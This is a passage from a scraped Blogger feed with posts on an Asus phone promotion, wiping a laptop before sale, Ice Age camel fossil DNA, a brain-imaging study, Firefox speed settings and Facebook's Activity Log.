<span style="font-size: large;"><a href="http://www.flipkart.com/asus/zenfone-2" target="_blank">Asus Zenfone 2</a> variants have also been provided with the brand new operating platform known as Asus ZenUI for a more personalized experience. This technology provides a lot more widgets which makes life of user much easier. It has various features which help user organize their Emails, data and various other apps in a better way. </span></div>
</div>
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<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<b><span style="font-size: large;">Accessories: </span></b></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Buyers can also opt for the Flip cover Delux protection cover case which will give an added protection to the smartphone and in addition it also has a window which displays the essential information such as time, incoming calls and new messages even without opening the cover case.</span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">Well with the stunning designs, various lock systems, excellent processor and robust battery, latest OS, gigantic RAM: it is essential to let our readers know that Asus first introduced the 4GB version of RAM in India. </span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Among other features Asus sends system updates to its users via settings and users can update their software without even connecting to internet. Asus gives its users to opt to customized mode if they want it. Asus also has made provision to connect the smartphone to any external device using USB ports via OTG cables. The handset can be given more personalized look with various accessories, the back cover can be changed and also the Delux cover. Camera with various modes including the Real flash tone, Dual SIM cards. </span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
</div>
<div style="margin-bottom: .0001pt; margin: 0in;">
<div style="text-align: justify;">
<span style="font-size: large;">I think for almost Rs 13000 one can really enjoy a luxurious smartphone with all the above features, so do we still need to think!!</span></div>
</div>
</div>
<img class="bm-blog-post" src="https://www.blogmint.com/frontendUtil/openPage?page=blog-post-read&oId=895d0880d21b4c2b88dd0b6b3974af04&uId=1ce728b7b60b4d94bdba2eb833417113&count=1&image=one-pixel.png" style="border: 0; padding: 0;" /></div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-13478432310513435322015-06-25T12:23:00.002+05:302015-06-25T12:23:16.468+05:30Selling or giving away your Laptop/PC, take this 5 simple steps to ensure you erase all personal details from your laptop/PC<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span style="font-size: large;">Whenever, you are selling your laptop it is essential to double check that you have not only copied your data into some safe hard disk but also as a thumb rule ensure that you delete all your personal and traceable data from all the drives.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhydNKCgXFUKaoX-ovDsahjvReGai9CdQj8uAVe7U1Pt_ZiDTULB_GzbBOhDxZsk23cw8lnm52nFKokhZzq1P62SflWPFvtkSoLXlz2ZFOUJyD05a1A1rk0eu4lBeyIYoR7hEeihQjDNERW/s1600/selling+laptop.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="http://www.techworm.net/2015/03/buying-250-laptop-from-a-random-listing-on-craiglist-lands-a-man-in-prison.html" border="0" height="259" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhydNKCgXFUKaoX-ovDsahjvReGai9CdQj8uAVe7U1Pt_ZiDTULB_GzbBOhDxZsk23cw8lnm52nFKokhZzq1P62SflWPFvtkSoLXlz2ZFOUJyD05a1A1rk0eu4lBeyIYoR7hEeihQjDNERW/s400/selling+laptop.jpg" title="http://www.techworm.net/2015/03/buying-250-laptop-from-a-random-listing-on-craiglist-lands-a-man-in-prison.html" width="400" /></a></div>
<div style="text-align: center;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Most of the times you might hand over your laptop to some criminals and potential hackers who might use your laptop to get access to your confidential data such as the bank details, certain important documents, photos of your family, automatic sign-ins into your Google and iOS profiles.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The same is true when you buy a second hand laptop or PC. A second hand PC/Laptop may come to you with illegal content. You dont want to be in the shoes of an user called <a href="http://www.techworm.net/2015/03/buying-250-laptop-from-a-random-listing-on-craiglist-lands-a-man-in-prison.html" target="_blank">Sunday_Accoun</a>t who bought a second hand laptop for $250 listed on Craiglist only to arrested and spending $12,000 to avoid jail term.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">However, by following the below given Top 5 steps you can ensure that you have deleted the confidential data from your laptop for a life time.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
</div>
<ol>
<li><span style="font-size: large;">Backup of essential Data and permanently erasing all the folders: Once user decides to sell off their laptop, they need to copy all the data to some external drive or thumb drive or even use the Cloud services to get a proper backup of their essential data. Next, delete all the files and folders including the Documents, Downloads, Temp, Dump etc. For different Operating Systems the commands would be different.The command <Shift>+<Delete> is used for deleting the folders / files in Windows and Linux, whereas Command+Delete is used for OSX. Another simple method that ensures complete deletion of all files and folders would be to get the freeware app "FileShredder". This app not only deletes the files and folders but also overwrites that location with some random data making it impossible to recover the deleted file ever.</span></li>
<li><span style="font-size: large;">Uninstall the programs: Paid programs usually are accompanied with some license that can be used for subsequent computers. Hence, it becomes all the more important for users to uninstall the programs that they have downloaded in their laptop. This hold true for programs that comes with the DRM i.e. Digital Rights Management, these programs gets locked with the laptops and hence it is important to uninstall the program so that users can avail the service for their subsequent laptop. Even for the non paid versions it is advisable that user uninstalls the program before selling off their laptop hence indirectly concealing their preferences of programs from their buyer. Further, it is good to know that when any program is operational it utilizes the Temp folder for saving transient files hence uninstalling of any programs calls for deleting the contents in temp folder as well. In case of Windows OS user needs to go to their File explorer, then to C: drive and click on the Properties. Click the "Disk cleanup" button. Now the disk partition gets scanned and it will display the Temp files, Recycle bin etc. Users can choose which all folders they wish to delete, once they click the button 'OK' it will permanently remove the files from that location. This can be done for all the partitions of the hard disk including all the drives.</span></li>
<li><span style="font-size: large;">Clearing the Internet browsing details: It is of utmost importance to clear the caches, passwords, autofill settings etc including the browser history as it may contain some data that would give an easy access to user's potential data. For Firefox and IE users they need to launch the browser and give this command <Ctrl>+<Shift>+<Delete>. This results in a pop up which will clear all the required data that is connected with the internet browser. Automatic sign-ins seen in case of Google accounts also needs to be disconnected without fail. In case of Chrome users, they just need to click the icon on extreme upper right corner, click on Settings and Disconnect the Google Account. Users would further need to check the box to get all the data removed.</span></li>
<li><span style="font-size: large;">Uninstalling the Google Drives: In case, user has been using the Google Drives or Dropbox then it is essential to delete the local sync folder as it may store certain important data. This local folder need to be deleted prior to uninstalling the Google Drives.</span></li>
<li><span style="font-size: large;">Disconnecting and removing the Wi-Fi networks from the laptop: During the life time of the laptop user must have used various Wi-Fi networks in their office and home. The smart laptop get automatically configured to these networks and hence it is essential to delete these network links from the laptop. In case of Windows OS, user needs to open the Wireless Network configuration, right click on each of the wireless network that the laptop has recognized and click Remove. User needs to do this for all the individual networks into which they have logged in during the life of laptop.</span></li>
</ol>
<br />
<div style="text-align: justify;">
<span style="font-size: large;">With these 5 steps users can be sure that they have completely removed the data from their laptop.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Further to be on the safer side users can also use a disk wipe software known as DBAN (Darik' Boot and Nuke). Most of the times the deleted data can be recovered by using file recovery software. To ensure deleted data is never recovered users need to rewrite it with some random unwanted data. </span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Instead of so much trouble users can use DBAN which ensures that all the data is permanently deleted from all the partitions. However users need to be very cautious because using this tool wipes the entire drive even erasing any recovery modes provided by the manufacturer.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">There could be other methods which our readers use that ensures permanent deletion of essential data from the laptops before it is sold off. Feel free to mention it in the comments section so as to benefit all of us.</span></div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-85677821349326742242015-06-25T12:18:00.002+05:302015-06-25T12:18:56.354+05:30Ice age camel fossil bones discovered in Yukon provide DNA, shakeup camel family tree<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span style="font-size: large;">Way back in 2008, miners recovered three fossils from a gold mine in the Klondike, Yukon. These were among the first Western Camel bones to be found in the territory or Alaska in decades.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUwEuHloEjBMthMIlZCXXXug9iig1ilqwlIp7Jy3FGuoyhesASK9I1zxs9OQ33siqN1hyphenhyphen2RbAf1a1kuDfMu0xdfFxzMdvrUx8UUxEDgexRyIlwKjTPE1Qeq7lXPKikZakKxErEoMDyIfiV/s1600/Yukon+Camels.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUwEuHloEjBMthMIlZCXXXug9iig1ilqwlIp7Jy3FGuoyhesASK9I1zxs9OQ33siqN1hyphenhyphen2RbAf1a1kuDfMu0xdfFxzMdvrUx8UUxEDgexRyIlwKjTPE1Qeq7lXPKikZakKxErEoMDyIfiV/s400/Yukon+Camels.jpg" width="400" /></a></div>
<div style="text-align: center;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">For ages, scientists had believed that Western Camels, which once lived in North America were related to Llamas and Alpacas that are much common to South America; however with the discovery of these fossils scientists have got a genetic proof which indicates that the extinct animals were much more related to the Asian and Arabian camels.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">A paleontologist with the Yukon's Department of Tourism and Culture, Grant Zazula, said: "For us, the gold is the fossils because it's this incredible resource for understanding extinct and ancient animals of the ice age."</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">These Ice Age Camel bones are now forcing scientists to redraw the lineage of the now-extinct species says Zazula.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Zazula further said that with this discovery scientists can now try to figure out what could have probably led to the extinction of these camels towards the end of ice age which is 13,000 years ago.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Over the past century, Paleontologists have tried to study camels using comparative anatomy, wherein they divided bones and fossils into two main branches of animals basically found in various regions such as Arab, Africa, Asia and the llamas and alpacas which are found in South America, said Zazula.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">He further also added that earlier paleontologists believed that western camels were like "giant llamas" or "llamas on steroids".</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The discovery of uncovered bones by the miners in 2008, during the process of hydraulic stripping of the earth actually forced the scientists to change their theory. These bones were preserved exceptionally well in the permafrost wherein they still held DNA, which is one of the rare occurrence in mineralized fossils.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Zazula said: "When that was found, we really couldn’t believe it because, like I said, there hasn’t been a camel bone found in over 30 years, and we knew they were so rare and it was so well preserved."</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">As per the report from Guardian, Zazula said that he sent small pieces of the bone to geneticists at the University of California Santa Cruz, which were later assisted by a statistician and a geologist.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The journal Molecular Biology and Evolution has published the findings of this study.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The news release regarding the DNA testing indicated that around 10 million years ago, western camels seems to have split off from the branch which includes modern camels. Though most of them lived in southern areas of North America, some might have made their way north during the warm period around the last ice age which is about 100,000 years ago. It seems these animals then remained in North America till the end of ice age when they actually went extinct.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">"There's something pretty spectacular about holding on to a bone that's 100,000 years old that can tell us so much about the history of the past and the history of the land you live in," said Zazula. "I think that's pretty spectacular."</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Zazula says that these findings would definitely make scientists re examine other species as well.</span></div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-65404879980920100922015-06-25T12:15:00.002+05:302015-06-25T12:15:39.867+05:30For the first time Scientists document how new concepts form inside brain<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span style="font-size: large;">Scientists have researched how newly learned concepts form in the human brain by visualizing how new information gets filed. For the first time science has visually witnessed how and where the exact matter is coded inside the brain.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc8pcBXUUuUt-g18GeC6eIgr_lDvM8gKmp8-XfVw4c1stU-7ZVucGhvw0Lroe-6kxunQwNnUQOHdGQP03iIJxDQKfHxbzWD5xTq-kk2DSYI2Mc5kRAg9L6Kjs4AA9wtNVZj0XErs5i-SJd/s1600/brain.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Scientists have researched how newly learned concepts form in the human brain by visualizing how new information gets filed. For the first time science has visually witnessed how and where the exact matter is coded inside the brain. At Carnegie Mellon University researchers deduced to see what people were thinking about and how different new knowledge is stored and how combinations of different pieces of this fresh information affect different parts of the brain. The associated research is available in the journal Human Brain Mapping. The scientists found that each individual had a specific 'brain activation signature' through Functional Magnetic Resonance Imaging (FMRI). It is an indication of the neural activity for the different animals. Therefore, each person had specific 'habitat' regions in the brain that stored new information about where the animals lived and dedicated 'diet regions' where the newly learned knowledge about animal’s diet was stored. Scientists used FMRI images to find out what animal each person was thinking about at any given time. Neuroscientist “Marcel Just” used the example of the 2013 discovery of an “olinguito” which is a small South American carnivorous mammal. Those learning about the animal were able to immediately pickup new information for the first time, such as its habitat, diet, behavior, etc. Just explained “Millions of people read the information about the olinguito and by doing that they permanently change their own brains.” When people came to know that the olinguito eats mainly fruit instead of meat, a region of their left inferior frontal gyrus- as well as several other areas—stored the new information according to its own code. Just's paper also concluded that our brains all use a similar 'filing system' to process new information. Just, PhD student and lead author Andrew Bauer gathered 16 study participants and examined their brain activity while teaching them new information about eight extinct species of animals. They observed the emergence of new concepts in their brains by using an MRI machine, as the hour-long ingestion of new information progressed. The research which was earlier conducted in the field of brain imaging helped the team to understand more clearly from where certain bits of information would come up, such as animal’s habitat or its dietary habits. Each category illuminates a different part of the brain. According to Just, “The activation signature of a concept is a combination of the different types of knowledge of the concept that a person has stored, and each type of knowledge is stored in its own characteristic set of regions.” The team had a deeper knowledge of how the brain manages information. For example, new information does not obscure something learned five minutes ago. Instead, “Each time we learn something, we permanently change our brains in a systematic way,” Bauer explains. While conducting the research, Carnegie Mellon merged two major research areas at the university. One deals with studying how brain architecture gives rise to complex behaviors and one dealing with increasing the effectiveness of student learning. Just and Bauer claim that their results will be able to help develop more effective ways of teaching complicated subjects in school as well as shed light on how to reverse the loss of knowledge that accompanies disorders such as Alzheimer and dementia." border="0" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc8pcBXUUuUt-g18GeC6eIgr_lDvM8gKmp8-XfVw4c1stU-7ZVucGhvw0Lroe-6kxunQwNnUQOHdGQP03iIJxDQKfHxbzWD5xTq-kk2DSYI2Mc5kRAg9L6Kjs4AA9wtNVZj0XErs5i-SJd/s400/brain.jpg" title="Scientists have researched how newly learned concepts form in the human brain by visualizing how new information gets filed. For the first time science has visually witnessed how and where the exact matter is coded inside the brain. At Carnegie Mellon University researchers deduced to see what people were thinking about and how different new knowledge is stored and how combinations of different pieces of this fresh information affect different parts of the brain. The associated research is available in the journal Human Brain Mapping. The scientists found that each individual had a specific 'brain activation signature' through Functional Magnetic Resonance Imaging (FMRI). It is an indication of the neural activity for the different animals. Therefore, each person had specific 'habitat' regions in the brain that stored new information about where the animals lived and dedicated 'diet regions' where the newly learned knowledge about animal’s diet was stored. Scientists used FMRI images to find out what animal each person was thinking about at any given time. Neuroscientist “Marcel Just” used the example of the 2013 discovery of an “olinguito” which is a small South American carnivorous mammal. Those learning about the animal were able to immediately pickup new information for the first time, such as its habitat, diet, behavior, etc. Just explained “Millions of people read the information about the olinguito and by doing that they permanently change their own brains.” When people came to know that the olinguito eats mainly fruit instead of meat, a region of their left inferior frontal gyrus- as well as several other areas—stored the new information according to its own code. Just's paper also concluded that our brains all use a similar 'filing system' to process new information. Just, PhD student and lead author Andrew Bauer gathered 16 study participants and examined their brain activity while teaching them new information about eight extinct species of animals. They observed the emergence of new concepts in their brains by using an MRI machine, as the hour-long ingestion of new information progressed. The research which was earlier conducted in the field of brain imaging helped the team to understand more clearly from where certain bits of information would come up, such as animal’s habitat or its dietary habits. Each category illuminates a different part of the brain. According to Just, “The activation signature of a concept is a combination of the different types of knowledge of the concept that a person has stored, and each type of knowledge is stored in its own characteristic set of regions.” The team had a deeper knowledge of how the brain manages information. For example, new information does not obscure something learned five minutes ago. Instead, “Each time we learn something, we permanently change our brains in a systematic way,” Bauer explains. While conducting the research, Carnegie Mellon merged two major research areas at the university. One deals with studying how brain architecture gives rise to complex behaviors and one dealing with increasing the effectiveness of student learning. Just and Bauer claim that their results will be able to help develop more effective ways of teaching complicated subjects in school as well as shed light on how to reverse the loss of knowledge that accompanies disorders such as Alzheimer and dementia." width="400" /></a></div>
<div style="text-align: center;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">At Carnegie Mellon University researchers deduced to see what people were thinking about and how different new knowledge is stored and how combinations of different pieces of this fresh information affect different parts of the brain. The associated research is available in the journal Human Brain Mapping.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The scientists found that each individual had a specific 'brain activation signature' through Functional Magnetic Resonance Imaging (FMRI). It is an indication of the neural activity for the different animals.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Therefore, each person had specific 'habitat' regions in the brain that stored new information about where the animals lived and dedicated 'diet regions' where the newly learned knowledge about animal’s diet was stored.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Scientists used FMRI images to find out what animal each person was thinking about at any given time.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Neuroscientist “Marcel Just” used the example of the 2013 discovery of an “olinguito” which is a small South American carnivorous mammal. Those learning about the animal were able to immediately pickup new information for the first time, such as its habitat, diet, behavior, etc. Just explained “Millions of people read the information about the olinguito and by doing that they permanently change their own brains.”</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">When people came to know that the olinguito eats mainly fruit instead of meat, a region of their left inferior frontal gyrus- as well as several other areas—stored the new information according to its own code.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Just's paper also concluded that our brains all use a similar 'filing system' to process new information.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Just, PhD student and lead author Andrew Bauer gathered 16 study participants and examined their brain activity while teaching them new information about eight extinct species of animals. They observed the emergence of new concepts in their brains by using an MRI machine, as the hour-long ingestion of new information progressed.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The research which was earlier conducted in the field of brain imaging helped the team to understand more clearly from where certain bits of information would come up, such as animal’s habitat or its dietary habits. Each category illuminates a different part of the brain.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">According to Just, “The activation signature of a concept is a combination of the different types of knowledge of the concept that a person has stored, and each type of knowledge is stored in its own characteristic set of regions.”</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The team had a deeper knowledge of how the brain manages information. For example, new information does not obscure something learned five minutes ago. Instead, “Each time we learn something, we permanently change our brains in a systematic way,” Bauer explains.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">While conducting the research, Carnegie Mellon merged two major research areas at the university. One deals with studying how brain architecture gives rise to complex behaviors and one dealing with increasing the effectiveness of student learning.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Just and Bauer claim that their results will be able to help develop more effective ways of teaching complicated subjects in school as well as shed light on how to reverse the loss of knowledge that accompanies disorders such as Alzheimer and dementia.</span></div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-55807255856927996882015-06-25T12:12:00.002+05:302015-06-25T12:12:26.863+05:30Want to make your Mozilla Firefox Load Pages Faster- Follow these simple steps<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: justify;">
<span style="font-size: large;">After using your Firefox a long time, you may have been noticed it get's slower as time passed. Here are some simple steps to make your Firefox faster-</span></div>
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px;">
</div>
<div style="text-align: justify;">
<ol>
<li><span style="font-size: large;">Removing unnecessary add-ons and toolbars.</span></li>
<li><span style="font-size: large;">Clear browsing history regularly.</span></li>
<li><span style="font-size: large;">Disable Firefox Auto-update(not recommended).</span></li>
<li><span style="font-size: large;">Block Flash.</span></li>
</ol>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVk4kxcrj0o3gkFJbcegbviOpK4MHo-E3bxpre1ZR1Gq_Bi1PqHxrhzurnwInqxo_rNYFcoq5gNjgjH2Rg4YDtgj0k-ld2VfDyQkyi2iAk_DuVjx6YL8Ae1y6eCKCdmvmbHxKICaYr3p7t/s1600/Firefox.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="After using your Firefox a long time, you may have been noticed it get's slower as time passed. Here are some simple steps to make your Firefox faster- 1. Removing unnecessary add-ons and toolbars. 2. Clear browsing history regularly. 3. Disable Firefox Auto-update(not recommended). 4. Block Flash. If you have already tried these steps and it is not working then i would like to suggest you some of other tried and tested techniques to speed up the browsing and make Mozilla Firefox faster than ever. 1. Type “about:config” into the address bar and press Enter. Now click “I’ll be careful, I promise!“ 2. Type “pipelining” in the search box 3. Search for “network.http.pipelining”. By default it’s false, now set it to true by double clicking on the option. 4. Now set “network.http.proxy.pipelining” to true by double-clicking it. 5. Set “network.http.pipelining.maxrequests” to 8 (it’s 32 by default) by double-clicking it. This means it will make 8 requests at once. 6. Now restart your Browser and you will be experiencing a faster browsing. Besides all this Firefox also do provide some features to speed up browser, One of them are listed below- "The Refresh Firefox feature can fix many issues by restoring Firefox to its factory default state while saving your essential information. Consider using it before going through a lengthy troubleshooting process."" border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVk4kxcrj0o3gkFJbcegbviOpK4MHo-E3bxpre1ZR1Gq_Bi1PqHxrhzurnwInqxo_rNYFcoq5gNjgjH2Rg4YDtgj0k-ld2VfDyQkyi2iAk_DuVjx6YL8Ae1y6eCKCdmvmbHxKICaYr3p7t/s400/Firefox.jpg" title="After using your Firefox a long time, you may have been noticed it get's slower as time passed. Here are some simple steps to make your Firefox faster- 1. Removing unnecessary add-ons and toolbars. 2. Clear browsing history regularly. 3. Disable Firefox Auto-update(not recommended). 4. Block Flash. If you have already tried these steps and it is not working then i would like to suggest you some of other tried and tested techniques to speed up the browsing and make Mozilla Firefox faster than ever. 1. Type “about:config” into the address bar and press Enter. Now click “I’ll be careful, I promise!“ 2. Type “pipelining” in the search box 3. Search for “network.http.pipelining”. By default it’s false, now set it to true by double clicking on the option. 4. Now set “network.http.proxy.pipelining” to true by double-clicking it. 5. Set “network.http.pipelining.maxrequests” to 8 (it’s 32 by default) by double-clicking it. This means it will make 8 requests at once. 6. Now restart your Browser and you will be experiencing a faster browsing. Besides all this Firefox also do provide some features to speed up browser, One of them are listed below- "The Refresh Firefox feature can fix many issues by restoring Firefox to its factory default state while saving your essential information. Consider using it before going through a lengthy troubleshooting process."" width="400" /></a></div>
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: center;">
<span style="font-size: large;"><br /></span></div>
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: justify;">
<span style="font-size: large;">If you have already tried these steps and it is not working then i would like to suggest you some of other tried and tested techniques to speed up the browsing and make Mozilla Firefox faster than ever.</span></div>
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: justify;">
</div>
<ol>
<li><span style="font-size: large;">Type “about:config” into the address bar and press Enter. Now click “I’ll be careful, I promise!“</span></li>
<li><span style="font-size: large;">Type “pipelining” in the search box</span></li>
<li><span style="font-size: large;">Search for “network.http.pipelining”. By default it’s false, now set it to true by double clicking on the option.</span></li>
<li><span style="font-size: large;">Now set “network.http.proxy.pipelining” to true by double-clicking it.</span></li>
<li><span style="font-size: large;">Set “network.http.pipelining.maxrequests” to 8 (it’s 32 by default) by double-clicking it. This means it will make 8 requests at once.</span></li>
<li><span style="font-size: large;">Now restart your Browser and you will be experiencing a faster browsing.</span></li>
<li><span style="font-size: large;"><br /></span></li>
</ol>
<br />
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: justify;">
<span style="font-size: large;">Besides all this Firefox also do provide some features to speed up browser, One of them are listed below-</span></div>
<blockquote class="tr_bq" style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px; text-align: justify;">
<span style="font-size: large;">"The Refresh Firefox feature can fix many issues by restoring Firefox to its factory default state while saving your essential information. Consider using it before going through a lengthy troubleshooting process."</span></blockquote>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-72545522485074852652015-06-25T12:08:00.000+05:302015-06-25T12:08:00.515+05:30A simple trick to prevent embarrassment on Facebook<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Want to save yourself from embarrassment for putting posts that should not be there on Facebook. Thankfully, Facebook has come up with a simple way to assess your history and take off those unwanted posts. It's called the Activity Log.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdw4_AK0WUItbDb8yWryyYtzdOcOm7JoV9n3bndpzs8wWCwI9FfggopR7oazk4K-FSQcXtwmr4z3RX4ZkqDWl77uhNZAi6x4qP-_FDoNPvBOreFa-fXojVTKDJd_0Bmp98WMDj3eFKYAQ3/s1600/Facebook+embarasment.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdw4_AK0WUItbDb8yWryyYtzdOcOm7JoV9n3bndpzs8wWCwI9FfggopR7oazk4K-FSQcXtwmr4z3RX4ZkqDWl77uhNZAi6x4qP-_FDoNPvBOreFa-fXojVTKDJd_0Bmp98WMDj3eFKYAQ3/s400/Facebook+embarasment.jpg" width="400" /></a></div>
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<span style="font-size: large;">To begin with, login into your Facebook account, then click the down arrow in the upper-right corner and choose Activity Log. To go to your Facebook page, you can also click your name in the top bar and then click the "View Activity Log" button on the right side of the cover photo area.</span></div>
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<span style="font-size: large;">At first, the Activity Log may look a little mind-boggling, as there might be thousands of entries to go through. However, Facebook has made it easier with a few tools.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">There is a huge list of filters in the left-hand column. Only the posts about those topics would be shown in your Timeline. For example, to only view the posts that you have posted, you need to choose "Your Posts." You can also just look at "Photos," things you have "Liked" and "Comments" you have made on posts, photos and videos.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">To see more filters, click the "More" link such as "Videos," "Groups" and "Location History." Location History is especially helpful if you used to be a little too free with telling people where you were.</span></div>
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<span style="font-size: large;">One probably is not aware that Facebook tracks your search history. Anyone who gets access to your account can view everything and everyone that you have searched for on Facebook.</span></div>
